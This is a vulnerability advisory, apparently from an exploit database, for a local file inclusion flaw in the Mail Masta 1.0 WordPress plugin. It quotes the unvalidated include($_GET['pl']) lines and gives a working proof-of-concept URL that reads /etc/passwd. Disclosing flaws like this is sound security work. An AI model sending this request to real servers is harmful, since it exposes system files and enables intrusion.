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WordPress Mail Masta 1.0 Plugin - Local File Inclusion

Author
Guillermo Garcia Marcos
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-25295
Category
web applications
Date add
22-08-2016
Platform
php
[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos 
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
[+] info: Local File Inclusion 
 
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
 
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);
 
Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);
 
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);
 
Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);
 
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);
 
 
This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.
 
 
Typical proof-of-concept would be to load passwd file:
 
 
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

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